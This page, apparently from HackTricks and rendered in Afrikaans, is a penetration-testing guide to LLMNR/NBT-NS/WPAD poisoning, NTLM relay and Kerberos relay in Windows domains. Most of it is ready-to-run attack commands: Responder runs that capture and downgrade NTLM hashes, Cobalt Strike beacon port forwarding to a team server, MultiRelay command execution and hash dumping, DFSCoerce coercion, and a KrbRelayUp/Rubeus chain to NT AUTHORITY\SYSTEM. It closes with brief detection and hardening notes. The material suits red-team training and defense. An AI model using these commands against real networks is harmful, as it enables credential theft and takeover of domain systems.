Spoofing LLMNR, NBT-NS, mDNS/DNS en WPAD en Relay-aanvalle
Reading time: 11 minutes
tip
Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Netwerkprotokolle
Plaaslike Gasheer Oplossingsprotokolle
- LLMNR, NBT-NS, en mDNS:
- Microsoft en ander bedryfstelsels gebruik LLMNR en NBT-NS vir plaaslike naamoplossing wanneer DNS misluk. Net so gebruik Apple en Linux stelsels mDNS.
- Hierdie protokolle is vatbaar vir onderskep en spoofing weens hul ongeverifieerde, uitsendingsnatuur oor UDP.
- Responder kan gebruik word om dienste na te boots deur vervalste antwoorde na gashere wat hierdie protokolle vra, te stuur.
- Verdere inligting oor diensna-booting met Responder kan hier gevind word.
Web Proxy Auto-Discovery Protokol (WPAD)
- WPAD laat blaaiers toe om proxy-instellings outomaties te ontdek.
- Ontdekking word gefasiliteer via DHCP, DNS, of terugval na LLMNR en NBT-NS indien DNS misluk.
- Responder kan WPAD-aanvalle outomatiseer, wat kliënte na kwaadwillige WPAD-bedieners lei.
Responder vir Protokol Vergiftiging
- Responder is 'n hulpmiddel wat gebruik word vir die vergiftiging van LLMNR, NBT-NS, en mDNS vrae, wat selektief antwoordgee gebaseer op vraetipes, hoofsaaklik teiken SMB-dienste.
- Dit kom vooraf geïnstalleer in Kali Linux, konfigureerbaar by
/etc/responder/Responder.conf
. - Responder vertoon gevangen hashes op die skerm en stoor dit in die
/usr/share/responder/logs
gids. - Dit ondersteun beide IPv4 en IPv6.
- Windows weergawe van Responder is hier beskikbaar.
Responder Uitvoer
- Om Responder met standaardinstellings te laat loop:
responder -I <Interface>
- Vir meer aggressiewe ondersoek (met moontlike newe-effekte):
responder -I <Interface> -P -r -v
- Tegnieke om NTLMv1 uitdagings/antwoorde te vang vir makliker krak:
responder -I <Interface> --lm --disable-ess
- WPAD-na-booting kan geaktiveer word met:
responder -I <Interface> --wpad
- NetBIOS versoeke kan opgelos word na die aanvaller se IP, en 'n verifikasie-proxy kan opgestel word:
responder.py -I <interface> -Pv
DHCP Vergiftiging met Responder
- Spoofing DHCP-antwoorde kan 'n slagoffer se routeringsinligting permanent vergiftig, wat 'n meer stil alternatief bied vir ARP vergiftiging.
- Dit vereis presiese kennis van die teiken netwerk se konfigurasie.
- Om die aanval te laat loop:
./Responder.py -I eth0 -Pdv
- Hierdie metode kan effektief NTLMv1/2 hashes vang, maar dit vereis versigtige hantering om netwerkonderbreking te vermy.
Capturing Kredensiale met Responder
- Responder sal dienste na boots met die bogenoemde protokolle, en kredensiale (gewoonlik NTLMv2 Uitdaging/Antwoord) vang wanneer 'n gebruiker probeer om teen die gespoofde dienste te verifieer.
- Pogings kan aangewend word om af te gradeer na NetNTLMv1 of ESS te deaktiveer vir makliker kredensiaal krak.
Dit is van kardinale belang om op te let dat die gebruik van hierdie tegnieke wettig en eties moet wees, met behoorlike magtiging en om onderbreking of ongeoorloofde toegang te vermy.
Inveigh
Inveigh is 'n hulpmiddel vir penetrasietoetsers en rooi spanlede, ontwerp vir Windows stelsels. Dit bied funksies soortgelyk aan Responder, wat spoofing en man-in-the-middle aanvalle uitvoer. Die hulpmiddel het ontwikkel van 'n PowerShell-skrip na 'n C# binaire, met Inveigh en InveighZero as die hoof weergawes. Gedetailleerde parameters en instruksies kan in die wiki gevind word.
Inveigh kan deur PowerShell bedryf word:
Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y
Of uitgevoer as 'n C# binêre:
Inveigh.exe
NTLM Relay Aanval
Hierdie aanval benut SMB-authentikasiesessies om toegang tot 'n teikenmasjien te verkry, wat 'n stelselshell bied indien suksesvol. Sleutelvoorvereistes sluit in:
- Die autentiserende gebruiker moet Lokale Admin-toegang op die oorgedraagde gasheer hê.
- SMB-handtekening moet gedeaktiveer wees.
445 Poort Voorwaartse en Tunneling
In scenario's waar direkte netwerkintroduksie nie haalbaar is nie, moet verkeer op poort 445 voorwaarts en getunnel word. Gereedskap soos PortBender help om poort 445-verkeer na 'n ander poort te herlei, wat noodsaaklik is wanneer lokale admin-toegang beskikbaar is vir bestuurderlaai.
PortBender opstelling en werking in Cobalt Strike:
Cobalt Strike -> Script Manager -> Load (Select PortBender.cna)
beacon> cd C:\Windows\system32\drivers # Navigate to drivers directory
beacon> upload C:\PortBender\WinDivert64.sys # Upload driver
beacon> PortBender redirect 445 8445 # Redirect traffic from port 445 to 8445
beacon> rportfwd 8445 127.0.0.1 445 # Route traffic from port 8445 to Team Server
beacon> socks 1080 # Establish a SOCKS proxy on port 1080
# Termination commands
beacon> jobs
beacon> jobkill 0
beacon> rportfwd stop 8445
beacon> socks stop
Ander Gereedskap vir NTLM Relay Aanval
- Metasploit: Opgestel met proxies, plaaslike en afstands gasheer besonderhede.
- smbrelayx: 'n Python-skrip vir die oordrag van SMB-sessies en die uitvoer van opdragte of die ontplooiing van agterdeure.
- MultiRelay: 'n Gereedskap uit die Responder-suite om spesifieke gebruikers of alle gebruikers te relaye, opdragte uit te voer, of hashes te dump.
Elke gereedskap kan gekonfigureer word om deur 'n SOCKS-proxy te werk, indien nodig, wat aanvalle moontlik maak selfs met indirekte netwerktoegang.
MultiRelay Operasie
MultiRelay word uitgevoer vanaf die /usr/share/responder/tools gids, met die fokus op spesifieke IP's of gebruikers.
python MultiRelay.py -t <IP target> -u ALL # Relay all users
python MultiRelay.py -t <IP target> -u ALL -c whoami # Execute command
python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes
# Proxychains for routing traffic
Hierdie gereedskap en tegnieke vorm 'n omvattende stel vir die uitvoering van NTLM Relay-aanvalle in verskeie netwerkomgewings.
Force NTLM Logins
In Windows kan jy dalk sommige bevoorregte rekeninge dwing om te autentiseer op arbitrêre masjiene. Lees die volgende bladsy om te leer hoe:
Force NTLM Privileged Authentication
Kerberos Relay aanval
'n Kerberos relay aanval steel 'n AP-REQ kaartjie van een diens en hergebruik dit teen 'n tweede diens wat die dieselfde rekenaar-rekening sleutel deel (omdat beide SPNs op dieselfde $
masjienrekening sit). Dit werk selfs al verskil die SPNs’ diensklasse (bv. CIFS/
→ LDAP/
) omdat die sleutel wat die kaartjie ontsleutel, die masjien se NT-hash is, nie die SPN-string self nie en die SPN-string is nie deel van die handtekening nie.
In teenstelling met NTLM relay, is die sprong beperk tot die dieselfde gasheer maar, as jy 'n protokol teiken wat jou toelaat om na LDAP te skryf, kan jy in Hulpbron-gebaseerde Beperkte Afvaardiging (RBCD) of AD CS inskrywing ketting en NT AUTHORITY\SYSTEM in 'n enkele skoot pop.
Vir gedetailleerde inligting oor hierdie aanval, kyk:
-
https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html
-
https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/
-
- Kerberos basiese beginsels
Token | Doel | Relay relevantie |
---|---|---|
TGT / AS-REQ ↔ REP | Bewys die gebruiker aan die KDC | onaangeraak |
Diens kaartjie / TGS-REQ ↔ REP | Gebonden aan een SPN; versleuteld met die SPN-eienaar se sleutel | uitruilbaar as SPNs rekening deel |
AP-REQ | Kliënt stuur TGS na die diens | wat ons steel & herhaal |
- Kaartjies is versleuteld met die wagwoord-afgeleide sleutel van die rekening wat die SPN besit.
- Die Authenticator binne die AP-REQ het 'n 5-minuut tydstempel; herhaling binne daardie venster is geldig totdat die dienskas 'n duplikaat sien.
- Windows kontroleer selde of die SPN-string in die kaartjie ooreenstem met die diens wat jy tref, so 'n kaartjie vir
CIFS/HOST
ontsleutel normaalweg goed opLDAP/HOST
.
-
- Wat moet waar wees om Kerberos te relay
- Gedeelde sleutel: bron en teiken SPNs behoort aan dieselfde rekenaarrekening (standaard op Windows bedieners).
- Geen kanaalbeskerming: SMB/LDAP ondertekening af en EPA af vir HTTP/LDAPS.
- Jy kan autentisering onderskep of dwing: LLMNR/NBNS vergiftiging, DNS spoof, PetitPotam / DFSCoerce RPC, vals AuthIP, rogue DCOM, ens.
- Kaartjie bron nie reeds gebruik nie: jy wen die wedloop voordat die werklike pakket aankom of blokkeer dit heeltemal; anders skiet die bediener se herhalingskas Gebeurtenis 4649 af.
- Jy moet op een of ander manier in staat wees om 'n MitM in die kommunikasie uit te voer, dalk deel van die DNSAmins-groep wees om die DNS van die domein te verander of in staat wees om die HOST-lêer van die slagoffer te verander.
Kerberos Relay Stappe
- 3.1 Recon die gasheer
# find servers where HTTP, LDAP or CIFS share the same machine account
Get-ADComputer -Filter * -Properties servicePrincipalName |
Where-Object {$_.servicePrincipalName -match '(HTTP|LDAP|CIFS)'} |
Select Name,servicePrincipalName
- 3.2 Begin die relay luisteraar
# one-click local SYSTEM via RBCD
.\KrbRelayUp.exe relay --spn "ldap/DC01.lab.local" --method rbcd --clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8
KrbRelayUp
verpak KrbRelay → LDAP → RBCD → Rubeus → SCM omseiling in een binêre.
- 3.3 Dwing Kerberos outentisering
# coerce DC to auth over SMB with DFSCoerce
.\dfscoerce.exe --target \\DC01.lab.local --listener 10.0.0.50
DFSCoerce laat die DC toe om 'n Kerberos CIFS/DC01
kaartjie na ons te stuur.
- 3.4 Herleef die AP-REQ
KrbRelay onttrek die GSS blob uit SMB, herverpak dit in 'n LDAP bind, en stuur dit na ldap://DC01
—autentisering slaag omdat die dieselfde sleutel dit ontsleutel.
- 3.5 Misbruik LDAP ➜ RBCD ➜ SISTEEM
# (auto inside KrbRelayUp) manual for clarity
New-MachineAccount -Name "FAKE01" -Password "P@ss123"
KrbRelay.exe -spn ldap/DC01 -rbcd FAKE01_SID
Rubeus s4u /user:FAKE01$ /rc4:<hash> /impersonateuser:administrator /msdsspn:HOST/DC01 /ptt
SCMUACBypass.exe
You now own NT AUTHORITY\SYSTEM.
Meer paaie wat die moeite werd is om te ken
Vektor | Truuk | Hoekom dit belangrik is |
---|---|---|
AuthIP / IPSec | Vals bediener stuur 'n GSS-ID payload met enige SPN; kliënt bou 'n AP-REQ reg na jou | Werk selfs oor subnets; masjien krediete per standaard |
DCOM / MSRPC | Kwaadwillige OXID-oplosser dwing kliënt om te autentiseer na arbitrêre SPN en poort | Pure lokale priv-eskalering; omseil firewall |
AD CS Web Enroll | Relay masjien kaart na HTTP/CA en kry 'n sertifikaat, dan PKINIT om TGT's te mint | Omseil LDAP ondertekening verdediging |
Shadow Credentials | Skryf msDS-KeyCredentialLink , dan PKINIT met vervalste sleutel paar | Geen behoefte om 'n rekenaarrekening by te voeg nie |
Probleemoplossing
Fout | Betekenis | Regstelling |
---|---|---|
KRB_AP_ERR_MODIFIED | Kaart sleutel ≠ teiken sleutel | Verkeerde gasheer/SPN |
KRB_AP_ERR_SKEW | Klok > 5 min offset | Sink tyd of gebruik w32tm |
LDAP bind misluk | Ondertekening afgedwing | Gebruik AD CS pad of deaktiveer ondertekening |
Gebeurtenis 4649 spam | Diens het duplikaat Authenticator gesien | blok of wedloop oorspronklike pakket |
Detectie
- Toename in Gebeurtenis 4769 vir
CIFS/
,HTTP/
,LDAP/
van dieselfde bron binne sekondes. - Gebeurtenis 4649 op die diens dui aan dat herhaling opgespoor is.
- Kerberos aanmelding van 127.0.0.1 (relay na plaaslike SCM) is hoogs verdag—kaart via Sigma-reël in KrbRelayUp docs.
- Kyk na veranderinge aan
msDS-AllowedToActOnBehalfOfOtherIdentity
ofmsDS-KeyCredentialLink
eienskappe.
Versterking
- Handhaaf LDAP & SMB ondertekening + EPA op elke bediener.
- Verdeel SPNs sodat HTTP nie op dieselfde rekening as CIFS/LDAP is nie.
- Patches vir dwang vektore (PetitPotam KB5005413, DFS, AuthIP).
- Stel
ms-DS-MachineAccountQuota = 0
in om rogue rekenaar aansluitings te stop. - Waak op Gebeurtenis 4649 en onverwagte loopback Kerberos aanmeldings.
Verwysings
- https://intrinium.com/smb-relay-attack-tutorial/
- https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/
- https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/
- https://intrinium.com/smb-relay-attack-tutorial/
- https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html
tip
Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.